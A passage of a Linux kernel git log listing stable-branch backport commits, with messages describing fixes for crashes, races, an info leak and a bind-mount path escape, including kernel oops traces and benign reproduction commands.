[ 28.016812] RAX: 0000000000000000 RBX: ffff88011a858dc0 RCX:0000000000000000 [ 28.017585] RDX: ffff880117682580 RSI: ffffffff81f14d8c RDI:ffffffff81f4df8d [ 28.018366] RBP: ffff8800ba42fd90 R08: 0000000000000001 R09:0000000000000000 [ 28.019169] R10: 0000000000000000 R11: 0000000000000121 R12:ffff8800baa9f640 [ 28.019947] R13: ffff88011a81e340 R14: ffff88011a823700 R15:0000000000000000 [ 28.020071] FS: 0000000000000000(0000) GS:ffff88011a800000(0000)knlGS:0000000000000000 [ 28.020071] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b [ 28.020071] CR2: 00007ff6144b01d0 CR3: 00000000b8e93000 CR4:00000000000006f0 [ 28.020071] Stack: [ 28.020071] ffff88011a858dc0 ffff8800baa9f640 ffff8800ba42fe00ffffffff8106bd88 [ 28.020071] ffffffff8106bd0b 0000000000000096 0000000000000000ffffffff82f9b1e8 [ 28.020071] ffffffff829f0b10 0000000000000000 ffffffff81f18460ffff88011a81e340 [ 28.020071] Call Trace: [ 28.020071] [] process_one_work+0x1c8/0x540 [ 28.020071] [] ? process_one_work+0x14b/0x540 [ 28.020071] [] worker_thread+0x114/0x460 [ 28.020071] [] ? process_one_work+0x540/0x540 [ 28.020071] [] kthread+0xf8/0x110 [ 28.020071] [] ?kthread_create_on_node+0x200/0x200 [ 28.020071] [] ret_from_fork+0x3f/0x70 [ 28.020071] [] ?kthread_create_on_node+0x200/0x200 Signed-off-by: Shaohua Li Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fb516365b7934b5c5e52505438b59fb60c5a118a Author: Wolfram Sang Date: Fri Oct 9 10:39:25 2015 +0100 i2c: rcar: enable RuntimePM before registering to the core commit 4f7effddf4549d57114289f273710f077c4c330a upstream. The core may register clients attached to this master which may use funtionality from the master. So, RuntimePM must be enabled before, otherwise this will fail. While here, move drvdata, too. Reported-by: Geert Uytterhoeven Signed-off-by: Wolfram Sang Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bf901ce2e20752f77248ff018a9d33eb5c054be0 Author: Russell King Date: Fri Oct 9 20:43:33 2015 +0100 crypto: ahash - ensure statesize is non-zero commit 8996eafdcbad149ac0f772fb1649fbb75c482a6a upstream. Unlike shash algorithms, ahash drivers must implement export and import as their descriptors may contain hardware state and cannot be exported as is. Unfortunately some ahash drivers did not provide them and end up causing crashes with algif_hash. This patch adds a check to prevent these drivers from registering ahash algorithms until they are fixed. Signed-off-by: Russell King Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6501285fb7c4c6e7ac22435211548d419233e3c7 Author: Dave Kleikamp Date: Mon Oct 5 10:08:51 2015 -0500 crypto: sparc - initialize blkcipher.ivsize commit a66d7f724a96d6fd279bfbd2ee488def6b081bea upstream. Some of the crypto algorithms write to the initialization vector, but no space has been allocated for it. This clobbers adjacent memory. Signed-off-by: Dave Kleikamp Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4efd4a80d953ab4c19ae1f5c4530bdb5995f10c2 Author: Geert Uytterhoeven Date: Sun Jun 9 20:12:42 2013 +0200 m68k/uaccess: Fix asm constraints for userspace access commit 631d8b674f5f8235e9cb7e628b0fe9e5200e3158 upstream. When compiling a MMU kernel with CPU_HAS_ADDRESS_SPACES=n (e.g. "MMU=y allnoconfig": "echo CONFIG_MMU=y > allno.config && make KCONFIG_ALLCONFIG=1 allnoconfig"), we use plain "move" instead of "moves", and I got: CC arch/m68k/lib/uaccess.o {standard input}: Assembler messages: {standard input}:47: Error: operands mismatch -- statement `move.b %a0,(%a1)' ignored This happens because plain "move" doesn't support byte transfers between memory and address registers, while "moves" does. Fix the asm constraints for __generic_copy_from_user(), __generic_copy_to_user(), and __clear_user() to only use data registers when accessing userspace. Also, relax the asm constraints for 16-bit userspace accesses in __put_user() and __get_user(), as both "move" and "moves" do support such transfers between memory and address registers. Signed-off-by: Geert Uytterhoeven Cc: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 333caf9858bf906c3bed4a155969daeb50c65e82 Author: Charles Keepax Date: Thu Nov 6 15:49:41 2014 +0000 asix: Do full reset during ax88772_bind [ Upstream commit 436c2a5036b6ffe813310df2cf327d3b69be0734 ] commit 3cc81d85ee01 ("asix: Don't reset PHY on if_up for ASIX 88772") causes the ethernet on Arndale to no longer function. This appears to be because the Arndale ethernet requires a full reset before it will function correctly, however simply reverting the above patch causes problems with ethtool settings getting reset. It seems the problem is that the ethernet is not properly reset during bind, and indeed the code in ax88772_bind that resets the device is a very small subset of the actual ax88772_reset function. This patch uses ax88772_reset in place of the existing reset code in ax88772_bind which removes some code duplication and fixes the ethernet on Arndale. It is still possible that the original patch causes some issues with suspend and resume but that seems like a separate issue and I haven't had a chance to test that yet. Signed-off-by: Charles Keepax Tested-by: Riku Voipio Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 013c419b7d7567165b95b5699b2d003dfcbb7932 Author: Michel Stam Date: Thu Oct 2 10:22:02 2014 +0200 asix: Don't reset PHY on if_up for ASIX 88772 [ Upstream commit 3cc81d85ee01e5a0b7ea2f4190e2ed1165f53c31 ] I've noticed every time the interface is set to 'up,', the kernel reports that the link speed is set to 100 Mbps/Full Duplex, even when ethtool is used to set autonegotiation to 'off', half duplex, 10 Mbps. It can be tested by: ifconfig eth0 down ethtool -s eth0 autoneg off speed 10 duplex half ifconfig eth0 up Then checking 'dmesg' for the link speed. Signed-off-by: Michel Stam Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6d20d4988974c38ec79182b3c16dbf47168e53b0 Author: Joe Perches Date: Wed Oct 14 01:09:40 2015 -0700 ethtool: Use kcalloc instead of kmalloc for ethtool_get_strings [ Upstream commit 077cb37fcf6f00a45f375161200b5ee0cd4e937b ] It seems that kernel memory can leak into userspace by a kmalloc, ethtool_get_strings, then copy_to_user sequence. Avoid this by using kcalloc to zero fill the copied buffer. Signed-off-by: Joe Perches Acked-by: Ben Hutchings Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b6e6566287c1c18712555ea1c1b44e3cad93e857 Author: Guillaume Nault Date: Wed Sep 30 11:45:33 2015 +0200 ppp: don't override sk->sk_state in pppoe_flush_dev() [ Upstream commit e6740165b8f7f06d8caee0fceab3fb9d790a6fed ] Since commit 2b018d57ff18 ("pppoe: drop PPPOX_ZOMBIEs in pppoe_release"), pppoe_release() calls dev_put(po->pppoe_dev) if sk is in the PPPOX_ZOMBIE state. But pppoe_flush_dev() can set sk->sk_state to PPPOX_ZOMBIE _and_ reset po->pppoe_dev to NULL. This leads to the following oops: [ 570.140800] BUG: unable to handle kernel NULL pointer dereference at 00000000000004e0 [ 570.142931] IP: [] pppoe_release+0x50/0x101 [pppoe] [ 570.144601] PGD 3d119067 PUD 3dbc1067 PMD 0 [ 570.144601] Oops: 0000 [#1] SMP [ 570.144601] Modules linked in: l2tp_ppp l2tp_netlink l2tp_core ip6_udp_tunnel udp_tunnel pppoe pppox ppp_generic slhc loop crc32c_intel ghash_clmulni_intel jitterentropy_rng sha256_generic hmac drbg ansi_cprng aesni_intel aes_x86_64 ablk_helper cryptd lrw gf128mul glue_helper acpi_cpufreq evdev serio_raw processor button ext4 crc16 mbcache jbd2 virtio_net virtio_blk virtio_pci virtio_ring virtio [ 570.144601] CPU: 1 PID: 15738 Comm: ppp-apitest Not tainted 4.2.0 #1 [ 570.144601] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Debian-1.8.2-1 04/01/2014 [ 570.144601] task: ffff88003d30d600 ti: ffff880036b60000 task.ti: ffff880036b60000 [ 570.144601] RIP: 0010:[] [] pppoe_release+0x50/0x101 [pppoe] [ 570.144601] RSP: 0018:ffff880036b63e08 EFLAGS: 00010202 [ 570.144601] RAX: 0000000000000000 RBX: ffff880034340000 RCX: 0000000000000206 [ 570.144601] RDX: 0000000000000006 RSI: ffff88003d30dd20 RDI: ffff88003d30dd20 [ 570.144601] RBP: ffff880036b63e28 R08: 0000000000000001 R09: 0000000000000000 [ 570.144601] R10: 00007ffee9b50420 R11: ffff880034340078 R12: ffff8800387ec780 [ 570.144601] R13: ffff8800387ec7b0 R14: ffff88003e222aa0 R15: ffff8800387ec7b0 [ 570.144601] FS: 00007f5672f48700(0000) GS:ffff88003fc80000(0000) knlGS:0000000000000000 [ 570.144601] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 570.144601] CR2: 00000000000004e0 CR3: 0000000037f7e000 CR4: 00000000000406a0 [ 570.144601] Stack: [ 570.144601] ffffffffa018f240 ffff8800387ec780 ffffffffa018f240 ffff8800387ec7b0 [ 570.144601] ffff880036b63e48 ffffffff812caabe ffff880039e4e000 0000000000000008 [ 570.144601] ffff880036b63e58 ffffffff812cabad ffff880036b63ea8 ffffffff811347f5 [ 570.144601] Call Trace: [ 570.144601] [] sock_release+0x1a/0x75 [ 570.144601] [] sock_close+0xd/0x11 [ 570.144601] [] __fput+0xff/0x1a5 [ 570.144601] [] ____fput+0x9/0xb [ 570.144601] [] task_work_run+0x66/0x90 [ 570.144601] [] prepare_exit_to_usermode+0x8c/0xa7 [ 570.144601] [] syscall_return_slowpath+0x16d/0x19b [ 570.144601] [] int_ret_from_sys_call+0x25/0x9f [ 570.144601] Code: 48 8b 83 c8 01 00 00 a8 01 74 12 48 89 df e8 8b 27 14 e1 b8 f7 ff ff ff e9 b7 00 00 00 8a 43 12 a8 0b 74 1c 48 8b 83 a8 04 00 00 <48> 8b 80 e0 04 00 00 65 ff 08 48 c7 83 a8 04 00 00 00 00 00 00 [ 570.144601] RIP [] pppoe_release+0x50/0x101 [pppoe] [ 570.144601] RSP [ 570.144601] CR2: 00000000000004e0 [ 570.200518] ---[ end trace 46956baf17349563 ]--- pppoe_flush_dev() has no reason to override sk->sk_state with PPPOX_ZOMBIE. pppox_unbind_sock() already sets sk->sk_state to PPPOX_DEAD, which is the correct state given that sk is unbound and po->pppoe_dev is NULL. Fixes: 2b018d57ff18 ("pppoe: drop PPPOX_ZOMBIEs in pppoe_release") Tested-by: Oleksii Berezhniak Signed-off-by: Guillaume Nault Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit eb86da2881a87e5588196704bab29be3f5d0153d Author: Eric Dumazet Date: Tue Sep 29 18:52:25 2015 -0700 net: add pfmemalloc check in sk_add_backlog() [ Upstream commit c7c49b8fde26b74277188bdc6c9dca38db6fa35b ] Greg reported crashes hitting the following check in __sk_backlog_rcv() BUG_ON(!sock_flag(sk, SOCK_MEMALLOC)); The pfmemalloc bit is currently checked in sk_filter(). This works correctly for TCP, because sk_filter() is ran in tcp_v[46]_rcv() before hitting the prequeue or backlog checks. For UDP or other protocols, this does not work, because the sk_filter() is ran from sock_queue_rcv_skb(), which might be called _after_ backlog queuing if socket is owned by user by the time packet is processed by softirq handler. Fixes: b4b9e35585089 ("netvm: set PF_MEMALLOC as appropriate during SKB processing") Signed-off-by: Eric Dumazet Reported-by: Greg Thelen Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c81b03241a69861009d4b0e67255106c00e63232 Author: Pravin B Shelar Date: Mon Sep 28 17:24:25 2015 -0700 skbuff: Fix skb checksum partial check. [ Upstream commit 31b33dfb0a144469dd805514c9e63f4993729a48 ] Earlier patch 6ae459bda tried to detect void ckecksum partial skb by comparing pull length to checksum offset. But it does not work for all cases since checksum-offset depends on updates to skb->data. Following patch fixes it by validating checksum start offset after skb-data pointer is updated. Negative value of checksum offset start means there is no need to checksum. Fixes: 6ae459bda ("skbuff: Fix skb checksum flag on skb pull") Reported-by: Andrew Vagin Signed-off-by: Pravin B Shelar Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 761c7220f853b34ae51047c3d447bb04d56d900e Author: Pravin B Shelar Date: Tue Sep 22 12:57:53 2015 -0700 skbuff: Fix skb checksum flag on skb pull [ Upstream commit 6ae459bdaaeebc632b16e54dcbabb490c6931d61 ] VXLAN device can receive skb with checksum partial. But the checksum offset could be in outer header which is pulled on receive. This results in negative checksum offset for the skb. Such skb can cause the assert failure in skb_checksum_help(). Following patch fixes the bug by setting checksum-none while pulling outer header. Following is the kernel panic msg from old kernel hitting the bug. ------------[ cut here ]------------ kernel BUG at net/core/dev.c:1906! RIP: 0010:[] skb_checksum_help+0x144/0x150 Call Trace: [] queue_userspace_packet+0x408/0x470 [openvswitch] [] ovs_dp_upcall+0x5d/0x60 [openvswitch] [] ovs_dp_process_packet_with_key+0xe6/0x100 [openvswitch] [] ovs_dp_process_received_packet+0x4b/0x80 [openvswitch] [] ovs_vport_receive+0x2a/0x30 [openvswitch] [] vxlan_rcv+0x53/0x60 [openvswitch] [] vxlan_udp_encap_recv+0x8b/0xf0 [openvswitch] [] udp_queue_rcv_skb+0x2dc/0x3b0 [] __udp4_lib_rcv+0x1cf/0x6c0 [] udp_rcv+0x1a/0x20 [] ip_local_deliver_finish+0xdd/0x280 [] ip_local_deliver+0x88/0x90 [] ip_rcv_finish+0x10d/0x370 [] ip_rcv+0x235/0x300 [] __netif_receive_skb+0x55d/0x620 [] netif_receive_skb+0x80/0x90 [] virtnet_poll+0x555/0x6f0 [] net_rx_action+0x134/0x290 [] __do_softirq+0xa8/0x210 [] call_softirq+0x1c/0x30 [] do_softirq+0x65/0xa0 [] irq_exit+0x8e/0xb0 [] do_IRQ+0x63/0xe0 [] common_interrupt+0x6e/0x6e Reported-by: Anupam Chanda Signed-off-by: Pravin B Shelar Acked-by: Tom Herbert Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c08fe446bea551657234a9bcce1e6618d315c820 Author: Aaron Conole Date: Sat Sep 26 18:50:43 2015 -0400 af_unix: return data from multiple SKBs on recv() with MSG_PEEK flag [ Upstream commit 9f389e35674f5b086edd70ed524ca0f287259725 ] AF_UNIX sockets now return multiple skbs from recv() when MSG_PEEK flag is set. This is referenced in kernel bugzilla #12323 @ https://bugzilla.kernel.org/show_bug.cgi?id=12323 As described both in the BZ and lkml thread @ http://lkml.org/lkml/2008/1/8/444 calling recv() with MSG_PEEK on an AF_UNIX socket only reads a single skb, where the desired effect is to return as much skb data has been queued, until hitting the recv buffer size (whichever comes first). The modified MSG_PEEK path will now move to the next skb in the tree and jump to the again: label, rather than following the natural loop structure. This requires duplicating some of the loop head actions. This was tested using the python socketpair python code attached to the bugzilla issue. Signed-off-by: Aaron Conole Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 79fbd7f859657129205cd2b9381290ed9bae64c0 Author: Aaron Conole Date: Sat Sep 26 18:50:42 2015 -0400 af_unix: Convert the unix_sk macro to an inline function for type safety [ Upstream commit 4613012db1d911f80897f9446a49de817b2c4c47 ] As suggested by Eric Dumazet this change replaces the #define with a static inline function to enjoy complaints by the compiler when misusing the API. Signed-off-by: Aaron Conole Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cde5ee35d08852ac625a7fa53ea0218f4419a2f9 Author: Alexander Couzens Date: Mon Sep 28 11:32:42 2015 +0200 l2tp: protect tunnel->del_work by ref_count [ Upstream commit 06a15f51cf3618e32a73871ee6a547ef7fd902b5 ] There is a small chance that tunnel_free() is called before tunnel->del_work scheduled resulting in a zero pointer dereference. Signed-off-by: Alexander Couzens Acked-by: James Chapman Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9dbfaa2167f4a311410add3aaf142b85fdfaef31 Author: Greg Kroah-Hartman Date: Thu Oct 22 14:38:04 2015 -0700 Linux 3.10.91 Signed-off-by: Pranav Vashi commit 7a64668a351dd85f51344cd1b119624210c7f28b Author: Christoph Hellwig Date: Sat Oct 3 19:16:07 2015 +0200 3w-9xxx: don't unmap bounce buffered commands commit 15e3d5a285ab9283136dba34bbf72886d9146706 upstream. 3w controller don't dma map small single SGL entry commands but instead bounce buffer them. Add a helper to identify these commands and don't call scsi_dma_unmap for them. Based on an earlier patch from James Bottomley. Fixes: 118c85 ("3w-9xxx: fix command completion race") Reported-by: Tóth Attila Tested-by: Tóth Attila Signed-off-by: Christoph Hellwig Acked-by: Adam Radford Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ff91e79e3ad52795a8e3350c9a0a131bd7b881f4 Author: covici@ccs.covici.com Date: Wed May 20 05:44:11 2015 -0400 staging: speakup: fix speakup-r regression commit b1d562acc78f0af46de0dfe447410bc40bdb7ece upstream. Here is a patch to make speakup-r work again. It broke in 3.6 due to commit 4369c64c79a22b98d3b7eff9d089196cd878a10a "Input: Send events one packet at a time) The problem was that the fakekey.c routine to fake a down arrow no longer functioned properly and putting the input_sync fixed it. Fixes: 4369c64c79a22b98d3b7eff9d089196cd878a10a Acked-by: Samuel Thibault Signed-off-by: John Covici Signed-off-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a69e82dd64a3f4a932ee2ec44660cdb6d4df2d01 Author: Joe Thornber Date: Fri Oct 9 14:03:38 2015 +0100 dm cache: fix NULL pointer when switching from cleaner policy commit 2bffa1503c5c06192eb1459180fac4416575a966 upstream. The cleaner policy doesn't make use of the per cache block hint space in the metadata (unlike the other policies). When switching from the cleaner policy to mq or smq a NULL pointer crash (in dm_tm_new_block) was observed. The crash was caused by bugs in dm-cache-metadata.c when trying to skip creation of the hint btree. The minimal fix is to change hint size for the cleaner policy to 4 bytes (only hint size supported). Signed-off-by: Joe Thornber Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 56a9dbc1baffb96486191e6257f4d458e39466f6 Author: Andi Kleen Date: Fri Aug 16 14:17:19 2013 -0700 x86: Add 1/2/4/8 byte optimization to 64bit __copy_{from,to}_user_inatomic commit ff47ab4ff3cddfa7bc1b25b990e24abe2ae474ff upstream. The 64bit __copy_{from,to}_user_inatomic always called copy_from_user_generic, but skipped the special optimizations for 1/2/4/8 byte accesses. This especially hurts the futex call, which accesses the 4 byte futex user value with a complicated fast string operation in a function call, instead of a single movl. Use __copy_{from,to}_user for _inatomic instead to get the same optimizations. The only problem was the might_fault() in those functions. So move that to new wrapper and call __copy_{f,t}_user_nocheck() from *_inatomic directly. 32bit already did this correctly by duplicating the code. Signed-off-by: Andi Kleen Link: http://lkml.kernel.org/r/1376687844-19857-2-git-send-email-andi@firstfloor.org Signed-off-by: H. Peter Anvin Cc: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b764a99e0d4b03a620275bd2c7351693c503837f Author: Ben Hutchings Date: Sat Sep 26 12:23:56 2015 +0100 genirq: Fix race in register_irq_proc() commit 95c2b17534654829db428f11bcf4297c059a2a7e upstream. Per-IRQ directories in procfs are created only when a handler is first added to the irqdesc, not when the irqdesc is created. In the case of a shared IRQ, multiple tasks can race to create a directory. This race condition seems to have been present forever, but is easier to hit with async probing. Signed-off-by: Ben Hutchings Link: http://lkml.kernel.org/r/1443266636.2004.2.camel@decadent.org.uk Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e7786198cdf301baa10dc32c92b4bed0b7098bd0 Author: Roland Dreier Date: Mon Oct 5 10:29:28 2015 -0700 fib_rules: Fix dump_rules() not to exit early Backports of 41fc014332d9 ("fib_rules: fix fib rule dumps across multiple skbs") introduced a regression in "ip rule show" - it ends up dumping the first rule over and over and never exiting, because 3.19 and earlier are missing commit 053c095a82cf ("netlink: make nlmsg_end() and genlmsg_end() void"), so fib_nl_fill_rule() ends up returning skb->len (i.e. > 0) in the success case. Fix this by checking the return code for < 0 instead of != 0. Signed-off-by: Roland Dreier Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5b09a90d1df90f562ae077eb90271c0ece9df26f Author: dingtianhong Date: Thu Jul 16 16:30:02 2015 +0800 bonding: correct the MAC address for "follow" fail_over_mac policy [ Upstream commit a951bc1e6ba58f11df5ed5ddc41311e10f5fd20b ] The "follow" fail_over_mac policy is useful for multiport devices that either become confused or incur a performance penalty when multiple ports are programmed with the same MAC address, but the same MAC address still may happened by this steps for this policy: 1) echo +eth0 > /sys/class/net/bond0/bonding/slaves bond0 has the same mac address with eth0, it is MAC1. 2) echo +eth1 > /sys/class/net/bond0/bonding/slaves eth1 is backup, eth1 has MAC2. 3) ifconfig eth0 down eth1 became active slave, bond will swap MAC for eth0 and eth1, so eth1 has MAC1, and eth0 has MAC2. 4) ifconfig eth1 down there is no active slave, and eth1 still has MAC1, eth2 has MAC2. 5) ifconfig eth0 up the eth0 became active slave again, the bond set eth0 to MAC1. Something wrong here, then if you set eth1 up, the eth0 and eth1 will have the same MAC address, it will break this policy for ACTIVE_BACKUP mode. This patch will fix this problem by finding the old active slave and swap them MAC address before change active slave. Signed-off-by: Ding Tianhong Tested-by: Nikolay Aleksandrov Signed-off-by: David S. Miller [bwh: Backported to 3.10: bond_for_each_slave() takes an extra int paramter] Signed-off-by: Ben Hutchings Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bfdee5b9af6f4e152a5c889a980e5ac006dfc74a Author: Andreas Schwab Date: Wed Sep 23 23:12:09 2015 +0200 m68k: Define asmlinkage_protect commit 8474ba74193d302e8340dddd1e16c85cc4b98caf upstream. Make sure the compiler does not modify arguments of syscall functions. This can happen if the compiler generates a tailcall to another function. For example, without asmlinkage_protect sys_openat is compiled into this function: sys_openat: clr.l %d0 move.w 18(%sp),%d0 move.l %d0,16(%sp) jbra do_sys_open Note how the fourth argument is modified in place, modifying the register %d4 that gets restored from this stack slot when the function returns to user-space. The caller may expect the register to be unmodified across system calls. Signed-off-by: Andreas Schwab Signed-off-by: Geert Uytterhoeven Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1f90aee902816e5e41ed4c2a414865ec237bc89d Author: Mark Salyzyn Date: Mon Sep 21 21:39:50 2015 +0100 arm64: readahead: fault retry breaks mmap file read random detection commit 569ba74a7ba69f46ce2950bf085b37fea2408385 upstream. This is the arm64 portion of commit 45cac65b0fcd ("readahead: fault retry breaks mmap file read random detection"), which was absent from the initial port and has since gone unnoticed. The original commit says: > .fault now can retry. The retry can break state machine of .fault. In > filemap_fault, if page is miss, ra->mmap_miss is increased. In the second > try, since the page is in page cache now, ra->mmap_miss is decreased. And > these are done in one fault, so we can't detect random mmap file access. > > Add a new flag to indicate .fault is tried once. In the second try, skip > ra->mmap_miss decreasing. The filemap_fault state machine is ok with it. With this change, Mark reports that: > Random read improves by 250%, sequential read improves by 40%, and > random write by 400% to an eMMC device with dm crypto wrapped around it. Cc: Shaohua Li Cc: Rik van Riel Cc: Wu Fengguang Signed-off-by: Mark Salyzyn Signed-off-by: Riley Andrews Signed-off-by: Will Deacon Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cba0522f83039cb6d7c1a9de2c45e892d0fe253b Author: Eric W. Biederman Date: Sat Aug 15 20:27:13 2015 -0500 vfs: Test for and handle paths that are unreachable from their mnt_root commit 397d425dc26da728396e66d392d5dcb8dac30c37 upstream. In rare cases a directory can be renamed out from under a bind mount. In those cases without special handling it becomes possible to walk up the directory tree to the root dentry of the filesystem and down from the root dentry to every other file or directory on the filesystem. Like division by zero .. from an unconnected path can not be given a useful semantic as there is no predicting at which path component the code will realize it is unconnected. We certainly can not match the current behavior as the current behavior is a security hole. Therefore when encounting .. when following an unconnected path return -ENOENT. - Add a function path_connected to verify path->dentry is reachable from path->mnt.mnt_root. AKA to validate that rename did not do something nasty to the bind mount. To avoid races path_connected must be called after following a path component to it's next path component. Signed-off-by: "Eric W. Biederman" Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 26025bf97b486000f9ef406dac6cf51a7d3a2ce0 Author: Eric W. Biederman Date: Sat Aug 15 13:36:12 2015 -0500 dcache: Handle escaped paths in prepend_path commit cde93be45a8a90d8c264c776fab63487b5038a65 upstream. A rename can result in a dentry that by walking up d_parent will never reach it's mnt_root. For lack of a better term I call this an escaped path. prepend_path is called by four different functions __d_path, d_absolute_path, d_path, and getcwd. __d_path only wants to see paths are connected to the root it passes in. So __d_path needs prepend_path to return an error. d_absolute_path similarly wants to see paths that are connected to some root. Escaped paths are not connected to any mnt_root so d_absolute_path needs prepend_path to return an error greater than 1. So escaped paths will be treated like paths on lazily unmounted mounts. getcwd needs to prepend "(unreachable)" so getcwd also needs prepend_path to return an error. d_path is the interesting hold out. d_path just wants to print something, and does not care about the weird cases. Which raises the question what should be printed? Given that / should result in -ENOENT I believe it is desirable for escaped paths to be printed as empty paths. As there are not really any meaninful path components when considered from the perspective of a mount tree. So tweak prepend_path to return an empty path with an new error code of 3 when it encounters an escaped path. Signed-off-by: "Eric W. Biederman" Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8fa79911dae23cbf993a21e2890c3aa934c2254c Author: Mike Marciniszyn Date: Tue Jul 21 08:36:07 2015 -0400 IB/qib: Change lkey table allocation to support more MRs commit d6f1c17e162b2a11e708f28fa93f2f79c164b442 upstream. The lkey table is allocated with with a get_user_pages() with an order based on a number of index bits from a module parameter. The underlying kernel code cannot allocate that many contiguous pages. There is no reason the underlying memory needs to be physically contiguous. This patch: - switches the allocation/deallocation to vmalloc/vfree - caps the number of bits to 23 to insure at least 1 generation bit o this matches the module parameter description Reviewed-by: Vinit Agnihotri Signed-off-by: Mike Marciniszyn Signed-off-by: Doug Ledford Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7390f1d19415f0c6cad5e700de04c13020eb4b58 Author: shengyong Date: Mon Sep 28 17:57:19 2015 +0000 UBI: return ENOSPC if no enough space available commit 7c7feb2ebfc9c0552c51f0c050db1d1a004faac5 upstream. UBI: attaching mtd1 to ubi0 UBI: scanning is finished UBI error: init_volumes: not enough PEBs, required 706, available 686 UBI error: ubi_wl_init: no enough physical eraseblocks (-20, need 1) UBI error: ubi_attach_mtd_dev: failed to attach mtd1, error -12 <= NOT ENOMEM UBI error: ubi_init: cannot attach mtd1 If available PEBs are not enough when initializing volumes, return -ENOSPC directly. If available PEBs are not enough when initializing WL, return -ENOSPC instead of -ENOMEM. Signed-off-by: Sheng Yong Signed-off-by: Richard Weinberger Reviewed-by: David Gstir Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1faf8c2654caced7c501f19780438e0655d4b60e Author: Richard Weinberger Date: Tue Sep 22 23:58:07 2015 +0200 UBI: Validate data_size commit 281fda27673f833a01d516658a64d22a32c8e072 upstream. Make sure that data_size is less than LEB size. Otherwise a handcrafted UBI image is able to trigger an out of bounds memory access in ubi_compare_lebs(). Signed-off-by: Richard Weinberger Reviewed-by: David Gstir Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 97a264a2e174fe02c0d03f3b0368d7466c07642a Author: Paul Mackerras Date: Thu Sep 10 14:36:21 2015 +1000 powerpc/MSI: Fix race condition in tearing down MSI interrupts commit e297c939b745e420ef0b9dc989cb87bda617b399 upstream. This fixes a race which can result in the same virtual IRQ number being assigned to two different MSI interrupts. The most visible consequence of that is usually a warning and stack trace from the sysfs code about an attempt to create a duplicate entry in sysfs. The race happens when one CPU (say CPU 0) is disposing of an MSI while another CPU (say CPU 1) is setting up an MSI. CPU 0 calls (for example) pnv_teardown_msi_irqs(), which calls msi_bitmap_free_hwirqs() to indicate that the MSI (i.e. its hardware IRQ number) is no longer in use. Then, before CPU 0 gets to calling irq_dispose_mapping() to free up the virtal IRQ number, CPU 1 comes in and calls msi_bitmap_alloc_hwirqs() to allocate an MSI, and gets the same hardware IRQ number that CPU 0 just freed. CPU 1 then calls irq_create_mapping() to get a virtual IRQ number, which sees that there is currently a mapping for that hardware IRQ number and returns the corresponding virtual IRQ number (which is the same virtual IRQ number that CPU 0 was using). CPU 0 then calls irq_dispose_mapping() and frees that virtual IRQ number. Now, if another CPU comes along and calls irq_create_mapping(), it is likely to get the virtual IRQ number that was just freed, resulting in the same virtual IRQ number apparently being used for two different hardware interrupts. To fix this race, we just move the call to msi_bitmap_free_hwirqs() to after the call to irq_dispose_mapping(). Since virq_to_hw() doesn't work for the virtual IRQ number after irq_dispose_mapping() has been called, we need to call it before irq_dispose_mapping() and remember the result for the msi_bitmap_free_hwirqs() call. The pattern of calling msi_bitmap_free_hwirqs() before irq_dispose_mapping() appears in 5 places under arch/powerpc, and appears to have originated in commit 05af7bd2d75e ("[POWERPC] MPIC U3/U4 MSI backend") from 2007. Fixes: 05af7bd2d75e ("[POWERPC] MPIC U3/U4 MSI backend") Reported-by: Alexey Kardashevskiy Signed-off-by: Paul Mackerras Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 627952ccb08f249b725a0a7ed1e8730ed6bb0cbf Author: NeilBrown Date: Wed Jul 22 10:20:07 2015 +1000 md: flush ->event_work before stopping array. commit ee5d004fd0591536a061451eba2b187092e9127c upstream. The 'event_work' worker used by dm-raid may still be running when the array is stopped. This can result in an oops. So flush the workqueue on which it is run after detaching and before destroying the device. Reported-by: Heinz Mauelshagen Signed-off-by: 